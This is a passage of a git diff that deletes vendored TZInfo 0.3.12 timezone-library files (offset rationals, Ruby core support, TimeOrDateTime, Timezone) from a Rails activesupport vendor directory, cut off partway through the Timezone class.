-        @linked_timezone = Timezone.get(info.link_to_identifier)
-      end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/linked_timezone_info.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/linked_timezone_info.rb
deleted file mode 100644
index 8197ff3e..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/linked_timezone_info.rb
+++ /dev/null
@@ -1,44 +0,0 @@
-#--
-# Copyright (c) 2006 Philip Ross
-# 
-# Permission is hereby granted, free of charge, to any person obtaining a copy
-# of this software and associated documentation files (the "Software"), to deal
-# in the Software without restriction, including without limitation the rights
-# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-# copies of the Software, and to permit persons to whom the Software is
-# furnished to do so, subject to the following conditions:
-# 
-# The above copyright notice and this permission notice shall be included in all
-# copies or substantial portions of the Software.
-#
-# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-# THE SOFTWARE.
-#++
-
-require 'tzinfo/timezone_info'
-
-module TZInfo
-  # Represents a linked timezone defined in a data module.
-  class LinkedTimezoneInfo < TimezoneInfo #:nodoc:
-        
-    # The zone that provides the data (that this zone is an alias for).
-    attr_reader :link_to_identifier
-    
-    # Constructs a new TimezoneInfo with an identifier and the identifier
-    # of the zone linked to.
-    def initialize(identifier, link_to_identifier)
-      super(identifier)
-      @link_to_identifier = link_to_identifier      
-    end
-    
-    # Returns internal object state as a programmer-readable string.
-    def inspect
-      "#<#{self.class}: #@identifier,#@link_to_identifier>"
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/offset_rationals.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/offset_rationals.rb
deleted file mode 100644
index b1f10b2b..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/offset_rationals.rb
+++ /dev/null
@@ -1,98 +0,0 @@
-#--
-# Copyright (c) 2006 Philip Ross
-# 
-# Permission is hereby granted, free of charge, to any person obtaining a copy
-# of this software and associated documentation files (the "Software"), to deal
-# in the Software without restriction, including without limitation the rights
-# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-# copies of the Software, and to permit persons to whom the Software is
-# furnished to do so, subject to the following conditions:
-# 
-# The above copyright notice and this permission notice shall be included in all
-# copies or substantial portions of the Software.
-#
-# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-# THE SOFTWARE.
-#++
-
-require 'rational'
-require 'tzinfo/ruby_core_support'
-
-module TZInfo
-  
-  # Provides a method for getting Rationals for a timezone offset in seconds.
-  # Pre-reduced rationals are returned for all the half-hour intervals between
-  # -14 and +14 hours to avoid having to call gcd at runtime.  
-  module OffsetRationals #:nodoc:
-    @@rational_cache = {
-      -50400 => RubyCoreSupport.rational_new!(-7,12), 
-      -48600 => RubyCoreSupport.rational_new!(-9,16),
-      -46800 => RubyCoreSupport.rational_new!(-13,24),
-      -45000 => RubyCoreSupport.rational_new!(-25,48),
-      -43200 => RubyCoreSupport.rational_new!(-1,2),
-      -41400 => RubyCoreSupport.rational_new!(-23,48),
-      -39600 => RubyCoreSupport.rational_new!(-11,24),
-      -37800 => RubyCoreSupport.rational_new!(-7,16),
-      -36000 => RubyCoreSupport.rational_new!(-5,12),
-      -34200 => RubyCoreSupport.rational_new!(-19,48),
-      -32400 => RubyCoreSupport.rational_new!(-3,8),
-      -30600 => RubyCoreSupport.rational_new!(-17,48),
-      -28800 => RubyCoreSupport.rational_new!(-1,3),
-      -27000 => RubyCoreSupport.rational_new!(-5,16),
-      -25200 => RubyCoreSupport.rational_new!(-7,24),
-      -23400 => RubyCoreSupport.rational_new!(-13,48),
-      -21600 => RubyCoreSupport.rational_new!(-1,4),
-      -19800 => RubyCoreSupport.rational_new!(-11,48),
-      -18000 => RubyCoreSupport.rational_new!(-5,24),
-      -16200 => RubyCoreSupport.rational_new!(-3,16),
-      -14400 => RubyCoreSupport.rational_new!(-1,6),
-      -12600 => RubyCoreSupport.rational_new!(-7,48),
-      -10800 => RubyCoreSupport.rational_new!(-1,8),
-       -9000 => RubyCoreSupport.rational_new!(-5,48),
-       -7200 => RubyCoreSupport.rational_new!(-1,12),
-       -5400 => RubyCoreSupport.rational_new!(-1,16),
-       -3600 => RubyCoreSupport.rational_new!(-1,24),
-       -1800 => RubyCoreSupport.rational_new!(-1,48),
-           0 => RubyCoreSupport.rational_new!(0,1),
-        1800 => RubyCoreSupport.rational_new!(1,48),
-        3600 => RubyCoreSupport.rational_new!(1,24),
-        5400 => RubyCoreSupport.rational_new!(1,16),
-        7200 => RubyCoreSupport.rational_new!(1,12),
-        9000 => RubyCoreSupport.rational_new!(5,48),
-       10800 => RubyCoreSupport.rational_new!(1,8),
-       12600 => RubyCoreSupport.rational_new!(7,48),
-       14400 => RubyCoreSupport.rational_new!(1,6),
-       16200 => RubyCoreSupport.rational_new!(3,16),
-       18000 => RubyCoreSupport.rational_new!(5,24),
-       19800 => RubyCoreSupport.rational_new!(11,48),
-       21600 => RubyCoreSupport.rational_new!(1,4),
-       23400 => RubyCoreSupport.rational_new!(13,48),
-       25200 => RubyCoreSupport.rational_new!(7,24),
-       27000 => RubyCoreSupport.rational_new!(5,16),
-       28800 => RubyCoreSupport.rational_new!(1,3),
-       30600 => RubyCoreSupport.rational_new!(17,48),
-       32400 => RubyCoreSupport.rational_new!(3,8),
-       34200 => RubyCoreSupport.rational_new!(19,48),
-       36000 => RubyCoreSupport.rational_new!(5,12),
-       37800 => RubyCoreSupport.rational_new!(7,16),
-       39600 => RubyCoreSupport.rational_new!(11,24),
-       41400 => RubyCoreSupport.rational_new!(23,48),
-       43200 => RubyCoreSupport.rational_new!(1,2),
-       45000 => RubyCoreSupport.rational_new!(25,48),
-       46800 => RubyCoreSupport.rational_new!(13,24),
-       48600 => RubyCoreSupport.rational_new!(9,16),
-       50400 => RubyCoreSupport.rational_new!(7,12)}
-    
-    # Returns a Rational expressing the fraction of a day that offset in 
-    # seconds represents (i.e. equivalent to Rational(offset, 86400)). 
-    def rational_for_offset(offset)
-      @@rational_cache[offset] || Rational(offset, 86400)      
-    end
-    module_function :rational_for_offset
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/ruby_core_support.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/ruby_core_support.rb
deleted file mode 100644
index 9a044120..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/ruby_core_support.rb
+++ /dev/null
@@ -1,56 +0,0 @@
-#--
-# Copyright (c) 2008 Philip Ross
-# 
-# Permission is hereby granted, free of charge, to any person obtaining a copy
-# of this software and associated documentation files (the "Software"), to deal
-# in the Software without restriction, including without limitation the rights
-# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-# copies of the Software, and to permit persons to whom the Software is
-# furnished to do so, subject to the following conditions:
-# 
-# The above copyright notice and this permission notice shall be included in all
-# copies or substantial portions of the Software.
-#
-# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-# THE SOFTWARE.
-#++
-
-require 'date'
-require 'rational'
-
-module TZInfo
-  
-  # Methods to support different versions of Ruby.
-  module RubyCoreSupport #:nodoc:
-  
-    # Use Rational.new! for performance reasons in Ruby 1.8.
-    # This has been removed from 1.9, but Rational performs better.        
-    if Rational.respond_to? :new!
-      def self.rational_new!(numerator, denominator = 1)
-        Rational.new!(numerator, denominator)
-      end
-    else
-      def self.rational_new!(numerator, denominator = 1)
-        Rational(numerator, denominator)
-      end
-    end
-    
-    # Ruby 1.8.6 introduced new! and deprecated new0.
-    # Ruby 1.9.0 removed new0.
-    # We still need to support new0 for older versions of Ruby.
-    if DateTime.respond_to? :new!
-      def self.datetime_new!(ajd = 0, of = 0, sg = Date::ITALY)
-        DateTime.new!(ajd, of, sg)
-      end
-    else
-      def self.datetime_new!(ajd = 0, of = 0, sg = Date::ITALY)
-        DateTime.new0(ajd, of, sg)
-      end
-    end
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/time_or_datetime.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/time_or_datetime.rb
deleted file mode 100644
index 264517f3..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/time_or_datetime.rb
+++ /dev/null
@@ -1,292 +0,0 @@
-#--
-# Copyright (c) 2006 Philip Ross
-# 
-# Permission is hereby granted, free of charge, to any person obtaining a copy
-# of this software and associated documentation files (the "Software"), to deal
-# in the Software without restriction, including without limitation the rights
-# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-# copies of the Software, and to permit persons to whom the Software is
-# furnished to do so, subject to the following conditions:
-# 
-# The above copyright notice and this permission notice shall be included in all
-# copies or substantial portions of the Software.
-#
-# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-# THE SOFTWARE.
-#++
-
-require 'date'
-require 'time'
-require 'tzinfo/offset_rationals'
-
-module TZInfo
-  # Used by TZInfo internally to represent either a Time, DateTime or integer
-  # timestamp (seconds since 1970-01-01 00:00:00).
-  class TimeOrDateTime #:nodoc:
-    include Comparable
-    
-    # Constructs a new TimeOrDateTime. timeOrDateTime can be a Time, DateTime
-    # or an integer. If using a Time or DateTime, any time zone information is 
-    # ignored.
-    def initialize(timeOrDateTime)
-      @time = nil
-      @datetime = nil
-      @timestamp = nil
-      
-      if timeOrDateTime.is_a?(Time)
-        @time = timeOrDateTime        
-        @time = Time.utc(@time.year, @time.mon, @time.mday, @time.hour, @time.min, @time.sec) unless @time.zone == 'UTC'        
-        @orig = @time
-      elsif timeOrDateTime.is_a?(DateTime)
-        @datetime = timeOrDateTime
-        @datetime = @datetime.new_offset(0) unless @datetime.offset == 0
-        @orig = @datetime
-      else
-        @timestamp = timeOrDateTime.to_i
-        @orig = @timestamp
-      end
-    end
-    
-    # Returns the time as a Time.
-    def to_time
-      unless @time        
-        if @timestamp 
-          @time = Time.at(@timestamp).utc
-        else
-          @time = Time.utc(year, mon, mday, hour, min, sec)
-        end
-      end
-      
-      @time      
-    end
-    
-    # Returns the time as a DateTime.
-    def to_datetime
-      unless @datetime
-        @datetime = DateTime.new(year, mon, mday, hour, min, sec)
-      end
-      
-      @datetime
-    end
-    
-    # Returns the time as an integer timestamp.
-    def to_i
-      unless @timestamp
-        @timestamp = to_time.to_i
-      end
-      
-      @timestamp
-    end
-    
-    # Returns the time as the original time passed to new.
-    def to_orig
-      @orig
-    end
-    
-    # Returns a string representation of the TimeOrDateTime.
-    def to_s
-      if @orig.is_a?(Time)
-        "Time: #{@orig.to_s}"
-      elsif @orig.is_a?(DateTime)
-        "DateTime: #{@orig.to_s}"
-      else
-        "Timestamp: #{@orig.to_s}"
-      end
-    end
-    
-    # Returns internal object state as a programmer-readable string.
-    def inspect
-      "#<#{self.class}: #{@orig.inspect}>"
-    end
-    
-    # Returns the year.
-    def year
-      if @time
-        @time.year
-      elsif @datetime
-        @datetime.year
-      else
-        to_time.year
-      end
-    end
-    
-    # Returns the month of the year (1..12).
-    def mon
-      if @time
-        @time.mon
-      elsif @datetime
-        @datetime.mon
-      else
-        to_time.mon
-      end
-    end
-    alias :month :mon
-    
-    # Returns the day of the month (1..n).
-    def mday
-      if @time
-        @time.mday
-      elsif @datetime
-        @datetime.mday
-      else
-        to_time.mday
-      end
-    end
-    alias :day :mday
-    
-    # Returns the hour of the day (0..23).
-    def hour
-      if @time
-        @time.hour
-      elsif @datetime
-        @datetime.hour
-      else
-        to_time.hour
-      end
-    end
-    
-    # Returns the minute of the hour (0..59).
-    def min
-      if @time
-        @time.min
-      elsif @datetime
-        @datetime.min
-      else
-        to_time.min
-      end
-    end
-    
-    # Returns the second of the minute (0..60). (60 for a leap second).
-    def sec
-      if @time
-        @time.sec
-      elsif @datetime
-        @datetime.sec
-      else
-        to_time.sec
-      end
-    end
-    
-    # Compares this TimeOrDateTime with another Time, DateTime, integer
-    # timestamp or TimeOrDateTime. Returns -1, 0 or +1 depending whether the 
-    # receiver is less than, equal to, or greater than timeOrDateTime.
-    #
-    # Milliseconds and smaller units are ignored in the comparison.
-    def <=>(timeOrDateTime)
-      if timeOrDateTime.is_a?(TimeOrDateTime)            
-        orig = timeOrDateTime.to_orig
-        
-        if @orig.is_a?(DateTime) || orig.is_a?(DateTime)
-          # If either is a DateTime, assume it is there for a reason 
-          # (i.e. for range).
-          to_datetime <=> timeOrDateTime.to_datetime
-        elsif orig.is_a?(Time)
-          to_time <=> timeOrDateTime.to_time
-        else
-          to_i <=> timeOrDateTime.to_i
-        end        
-      elsif @orig.is_a?(DateTime) || timeOrDateTime.is_a?(DateTime)
-        # If either is a DateTime, assume it is there for a reason 
-        # (i.e. for range).        
-        to_datetime <=> TimeOrDateTime.wrap(timeOrDateTime).to_datetime
-      elsif timeOrDateTime.is_a?(Time)
-        to_time <=> timeOrDateTime
-      else
-        to_i <=> timeOrDateTime.to_i
-      end
-    end
-    
-    # Adds a number of seconds to the TimeOrDateTime. Returns a new 
-    # TimeOrDateTime, preserving what the original constructed type was.
-    # If the original type is a Time and the resulting calculation goes out of
-    # range for Times, then an exception will be raised by the Time class.
-    def +(seconds)
-      if seconds == 0
-        self
-      else
-        if @orig.is_a?(DateTime)
-          TimeOrDateTime.new(@orig + OffsetRationals.rational_for_offset(seconds))
-        else
-          # + defined for Time and integer timestamps
-          TimeOrDateTime.new(@orig + seconds)
-        end
-      end
-    end
-    
-    # Subtracts a number of seconds from the TimeOrDateTime. Returns a new 
-    # TimeOrDateTime, preserving what the original constructed type was.
-    # If the original type is a Time and the resulting calculation goes out of
-    # range for Times, then an exception will be raised by the Time class.
-    def -(seconds)
-      self + (-seconds)
-    end
-   
-    # Similar to the + operator, but for cases where adding would cause a 
-    # timestamp or time to go out of the allowed range, converts to a DateTime
-    # based TimeOrDateTime.
-    def add_with_convert(seconds)
-      if seconds == 0
-        self
-      else
-        if @orig.is_a?(DateTime)
-          TimeOrDateTime.new(@orig + OffsetRationals.rational_for_offset(seconds))
-        else
-          # A Time or timestamp.
-          result = to_i + seconds
-          
-          if result < 0 || result > 2147483647
-            result = TimeOrDateTime.new(to_datetime + OffsetRationals.rational_for_offset(seconds))
-          else
-            result = TimeOrDateTime.new(@orig + seconds)
-          end
-        end
-      end
-    end
-    
-    # Returns true if todt represents the same time and was originally 
-    # constructed with the same type (DateTime, Time or timestamp) as this 
-    # TimeOrDateTime.
-    def eql?(todt)
-      todt.respond_to?(:to_orig) && to_orig.eql?(todt.to_orig)      
-    end
-    
-    # Returns a hash of this TimeOrDateTime.
-    def hash
-      @orig.hash
-    end
-    
-    # If no block is given, returns a TimeOrDateTime wrapping the given 
-    # timeOrDateTime. If a block is specified, a TimeOrDateTime is constructed
-    # and passed to the block. The result of the block must be a TimeOrDateTime.
-    # to_orig will be called on the result and the result of to_orig will be
-    # returned.
-    #
-    # timeOrDateTime can be a Time, DateTime, integer timestamp or TimeOrDateTime.
-    # If a TimeOrDateTime is passed in, no new TimeOrDateTime will be constructed,
-    # the passed in value will be used.
-    def self.wrap(timeOrDateTime)      
-      t = timeOrDateTime.is_a?(TimeOrDateTime) ? timeOrDateTime : TimeOrDateTime.new(timeOrDateTime)        
-      
-      if block_given?
-        t = yield t
-        
-        if timeOrDateTime.is_a?(TimeOrDateTime)
-          t          
-        elsif timeOrDateTime.is_a?(Time)
-          t.to_time
-        elsif timeOrDateTime.is_a?(DateTime)
-          t.to_datetime
-        else
-          t.to_i
-        end        
-      else
-        t
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/timezone.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/timezone.rb
deleted file mode 100644
index f87fb6fb..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/timezone.rb
+++ /dev/null
@@ -1,508 +0,0 @@
-#--
-# Copyright (c) 2005-2006 Philip Ross
-# 
-# Permission is hereby granted, free of charge, to any person obtaining a copy
-# of this software and associated documentation files (the "Software"), to deal
-# in the Software without restriction, including without limitation the rights
-# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-# copies of the Software, and to permit persons to whom the Software is
-# furnished to do so, subject to the following conditions:
-# 
-# The above copyright notice and this permission notice shall be included in all
-# copies or substantial portions of the Software.
-#
-# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-# THE SOFTWARE.
-#++
-
-require 'date'
-# require 'tzinfo/country'
-require 'tzinfo/time_or_datetime'
-require 'tzinfo/timezone_period'
-
-module TZInfo
-  # Indicate a specified time in a local timezone has more than one
-  # possible time in UTC. This happens when switching from daylight savings time 
-  # to normal time where the clocks are rolled back. Thrown by period_for_local
-  # and local_to_utc when using an ambiguous time and not specifying any 
-  # means to resolve the ambiguity.
-  class AmbiguousTime < StandardError
-  end
-  
-  # Thrown to indicate that no TimezonePeriod matching a given time could be found.
-  class PeriodNotFound < StandardError
-  end
-  
-  # Thrown by Timezone#get if the identifier given is not valid.
-  class InvalidTimezoneIdentifier < StandardError
-  end
-  
-  # Thrown if an attempt is made to use a timezone created with Timezone.new(nil).
-  class UnknownTimezone < StandardError
-  end
-  
-  # Timezone is the base class of all timezones. It provides a factory method
-  # get to access timezones by identifier. Once a specific Timezone has been
-  # retrieved, DateTimes, Times and timestamps can be converted between the UTC 
-  # and the local time for the zone. For example:
-  #
-  #   tz = TZInfo::Timezone.get('America/New_York')
-  #   puts tz.utc_to_local(DateTime.new(2005,8,29,15,35,0)).to_s
-  #   puts tz.local_to_utc(Time.utc(2005,8,29,11,35,0)).to_s
-  #   puts tz.utc_to_local(1125315300).to_s
-  #
-  # Each time conversion method returns an object of the same type it was 
-  # passed.
-  #
-  # The timezone information all comes from the tz database
-  # (see http://www.twinsun.com/tz/tz-link.htm)
-  class Timezone
-    include Comparable
-    
-    # Cache of loaded zones by identifier to avoid using require if a zone
-    # has already been loaded.
-    @@loaded_zones = {}
-    
-    # Whether the timezones index has been loaded yet.
-    @@index_loaded = false
-    
-    # Returns a timezone by its identifier (e.g. "Europe/London", 
-    # "America/Chicago" or "UTC").
-    #
-    # Raises InvalidTimezoneIdentifier if the timezone couldn't be found.
-    def self.get(identifier)
-      instance = @@loaded_zones[identifier]
-      unless instance  
-        raise InvalidTimezoneIdentifier, 'Invalid identifier' if identifier !~ /^[A-z0-9\+\-_]+(\/[A-z0-9\+\-_]+)*$/
-        identifier = identifier.gsub(/-/, '__m__').gsub(/\+/, '__p__')
-        begin
-          # Use a temporary variable to avoid an rdoc warning
-          file = "tzinfo/definitions/#{identifier}"
-          require file
-          
-          m = Definitions
-          identifier.split(/\//).each {|part|
-            m = m.const_get(part)
-          }
-          
-          info = m.get
-          
-          # Could make Timezone subclasses register an interest in an info
-          # type. Since there are currently only two however, there isn't
-          # much point.
-          if info.kind_of?(DataTimezoneInfo)
-            instance = DataTimezone.new(info)
-          elsif info.kind_of?(LinkedTimezoneInfo)
-            instance = LinkedTimezone.new(info)
-          else
-            raise InvalidTimezoneIdentifier, "No handler for info type #{info.class}"
-          end
-          
-          @@loaded_zones[instance.identifier] = instance         
-        rescue LoadError, NameError => e
-          raise InvalidTimezoneIdentifier, e.message
-        end
-      end
-      
-      instance
-    end
-    
-    # Returns a proxy for the Timezone with the given identifier. The proxy
-    # will cause the real timezone to be loaded when an attempt is made to 
-    # find a period or convert a time. get_proxy will not validate the 
-    # identifier. If an invalid identifier is specified, no exception will be 
-    # raised until the proxy is used. 
-    def self.get_proxy(identifier)
-      TimezoneProxy.new(identifier)
-    end
-    
-    # If identifier is nil calls super(), otherwise calls get. An identfier 
-    # should always be passed in when called externally.
-    def self.new(identifier = nil)
-      if identifier        
-        get(identifier)
-      else
-        super()
-      end
-    end
-    
-    # Returns an array containing all the available Timezones.
-    #
-    # Returns TimezoneProxy objects to avoid the overhead of loading Timezone
-    # definitions until a conversion is actually required.
-    def self.all
-      get_proxies(all_identifiers)
-    end
-    
-    # Returns an array containing the identifiers of all the available 
-    # Timezones.
-    def self.all_identifiers
-      load_index
-      Indexes::Timezones.timezones
-    end
-    
-    # Returns an array containing all the available Timezones that are based
-    # on data (are not links to other Timezones).
-    #
-    # Returns TimezoneProxy objects to avoid the overhead of loading Timezone
-    # definitions until a conversion is actually required.
-    def self.all_data_zones
-      get_proxies(all_data_zone_identifiers)
-    end
-    
-    # Returns an array containing the identifiers of all the available 
-    # Timezones that are based on data (are not links to other Timezones)..
-    def self.all_data_zone_identifiers
-      load_index
-      Indexes::Timezones.data_timezones
-    end
-    
-    # Returns an array containing all the available Timezones that are links
-    # to other Timezones.
-    #
-    # Returns TimezoneProxy objects to avoid the overhead of loading Timezone
-    # definitions until a conversion is actually required.
-    def self.all_linked_zones
-      get_proxies(all_linked_zone_identifiers)      
-    end
-    
-    # Returns an array containing the identifiers of all the available 
-    # Timezones that are links to other Timezones.
-    def self.all_linked_zone_identifiers
-      load_index
-      Indexes::Timezones.linked_timezones
-    end
-    
-    # Returns all the Timezones defined for all Countries. This is not the
-    # complete set of Timezones as some are not country specific (e.g. 
-    # 'Etc/GMT').
-    # 
-    # Returns TimezoneProxy objects to avoid the overhead of loading Timezone
-    # definitions until a conversion is actually required.        
-    def self.all_country_zones
-      Country.all_codes.inject([]) {|zones,country|
-        zones += Country.get(country).zones
-      }
-    end
-    
-    # Returns all the zone identifiers defined for all Countries. This is not the
-    # complete set of zone identifiers as some are not country specific (e.g. 
-    # 'Etc/GMT'). You can obtain a Timezone instance for a given identifier
-    # with the get method.
-    def self.all_country_zone_identifiers
-      Country.all_codes.inject([]) {|zones,country|
-        zones += Country.get(country).zone_identifiers
-      }
-    end
-    
-    # Returns all US Timezone instances. A shortcut for 
-    # TZInfo::Country.get('US').zones.
-    #
-    # Returns TimezoneProxy objects to avoid the overhead of loading Timezone
-    # definitions until a conversion is actually required.
-    def self.us_zones
-      Country.get('US').zones
-    end
-    
-    # Returns all US zone identifiers. A shortcut for 
-    # TZInfo::Country.get('US').zone_identifiers.
-    def self.us_zone_identifiers
-      Country.get('US').zone_identifiers
-    end
-    
-    # The identifier of the timezone, e.g. "Europe/Paris".
-    def identifier
-      raise UnknownTimezone, 'TZInfo::Timezone constructed directly'
-    end
-    
-    # An alias for identifier.
-    def name
-      # Don't use alias, as identifier gets overridden.
-      identifier
-    end
-    
-    # Returns a friendlier version of the identifier.
-    def to_s
-      friendly_identifier
-    end
-    
-    # Returns internal object state as a programmer-readable string.
-    def inspect
-      "#<#{self.class}: #{identifier}>"
-    end
-    
-    # Returns a friendlier version of the identifier. Set skip_first_part to 
-    # omit the first part of the identifier (typically a region name) where
-    # there is more than one part.
-    #
-    # For example:
-    #
-    #   Timezone.get('Europe/Paris').friendly_identifier(false)          #=> "Europe - Paris"
-    #   Timezone.get('Europe/Paris').friendly_identifier(true)           #=> "Paris"
-    #   Timezone.get('America/Indiana/Knox').friendly_identifier(false)  #=> "America - Knox, Indiana"
-    #   Timezone.get('America/Indiana/Knox').friendly_identifier(true)   #=> "Knox, Indiana"           
-    def friendly_identifier(skip_first_part = false)
-      parts = identifier.split('/')
-      if parts.empty?
-        # shouldn't happen
-        identifier
-      elsif parts.length == 1        
-        parts[0]
-      else
-        if skip_first_part
-          result = ''
-        else
-          result = parts[0] + ' - '
-        end
-        
-        parts[1, parts.length - 1].reverse_each {|part|
-          part.gsub!(/_/, ' ')
-          
-          if part.index(/[a-z]/)
-            # Missing a space if a lower case followed by an upper case and the
-            # name isn't McXxxx.
-            part.gsub!(/([^M][a-z])([A-Z])/, '\1 \2')
-            part.gsub!(/([M][a-bd-z])([A-Z])/, '\1 \2')
-            
-            # Missing an apostrophe if two consecutive upper case characters.
-            part.gsub!(/([A-Z])([A-Z])/, '\1\'\2')
-          end
-          
-          result << part
-          result << ', '
-        }
-        
-        result.slice!(result.length - 2, 2)
-        result
-      end
-    end
-    
-    # Returns the TimezonePeriod for the given UTC time. utc can either be
-    # a DateTime, Time or integer timestamp (Time.to_i). Any timezone 
-    # information in utc is ignored (it is treated as a UTC time).        
-    def period_for_utc(utc)            
-      raise UnknownTimezone, 'TZInfo::Timezone constructed directly'      
-    end
-    
-    # Returns the set of TimezonePeriod instances that are valid for the given
-    # local time as an array. If you just want a single period, use 
-    # period_for_local instead and specify how ambiguities should be resolved.
-    # Returns an empty array if no periods are found for the given time.
-    def periods_for_local(local)
-      raise UnknownTimezone, 'TZInfo::Timezone constructed directly'
-    end
-    
-    # Returns the TimezonePeriod for the given local time. local can either be
-    # a DateTime, Time or integer timestamp (Time.to_i). Any timezone 
-    # information in local is ignored (it is treated as a time in the current 
-    # timezone).
-    #
-    # Warning: There are local times that have no equivalent UTC times (e.g.
-    # in the transition from standard time to daylight savings time). There are
-    # also local times that have more than one UTC equivalent (e.g. in the
-    # transition from daylight savings time to standard time).
-    #
-    # In the first case (no equivalent UTC time), a PeriodNotFound exception
-    # will be raised.
-    #
-    # In the second case (more than one equivalent UTC time), an AmbiguousTime
-    # exception will be raised unless the optional dst parameter or block
-    # handles the ambiguity. 
-    #
-    # If the ambiguity is due to a transition from daylight savings time to
-    # standard time, the dst parameter can be used to select whether the 
-    # daylight savings time or local time is used. For example,
-    #
-    #   Timezone.get('America/New_York').period_for_local(DateTime.new(2004,10,31,1,30,0))
-    #
-    # would raise an AmbiguousTime exception.
-    #
-    # Specifying dst=true would the daylight savings period from April to 
-    # October 2004. Specifying dst=false would return the standard period
-    # from October 2004 to April 2005.
-    #
-    # If the dst parameter does not resolve the ambiguity, and a block is 
-    # specified, it is called. The block must take a single parameter - an
-    # array of the periods that need to be resolved. The block can select and
-    # return a single period or return nil or an empty array
-    # to cause an AmbiguousTime exception to be raised.
-    def period_for_local(local, dst = nil)            
-      results = periods_for_local(local)
-      
-      if results.empty?
-        raise PeriodNotFound
-      elsif results.size < 2
-        results.first
-      else
-        # ambiguous result try to resolve
-        
-        if !dst.nil?
-          matches = results.find_all {|period| period.dst? == dst}
-          results = matches if !matches.empty?            
-        end
-        
-        if results.size < 2
-          results.first
-        else
-          # still ambiguous, try the block
-                    
-          if block_given?
-            results = yield results
-          end
-          
-          if results.is_a?(TimezonePeriod)
-            results
-          elsif results && results.size == 1
-            results.first
-          else          
-            raise AmbiguousTime, "#{local} is an ambiguous local time."
-          end
-        end
-      end      
-    end
-    
-    # Converts a time in UTC to the local timezone. utc can either be
-    # a DateTime, Time or timestamp (Time.to_i). The returned time has the same
-    # type as utc. Any timezone information in utc is ignored (it is treated as 
-    # a UTC time).
-    def utc_to_local(utc)
-      TimeOrDateTime.wrap(utc) {|wrapped|
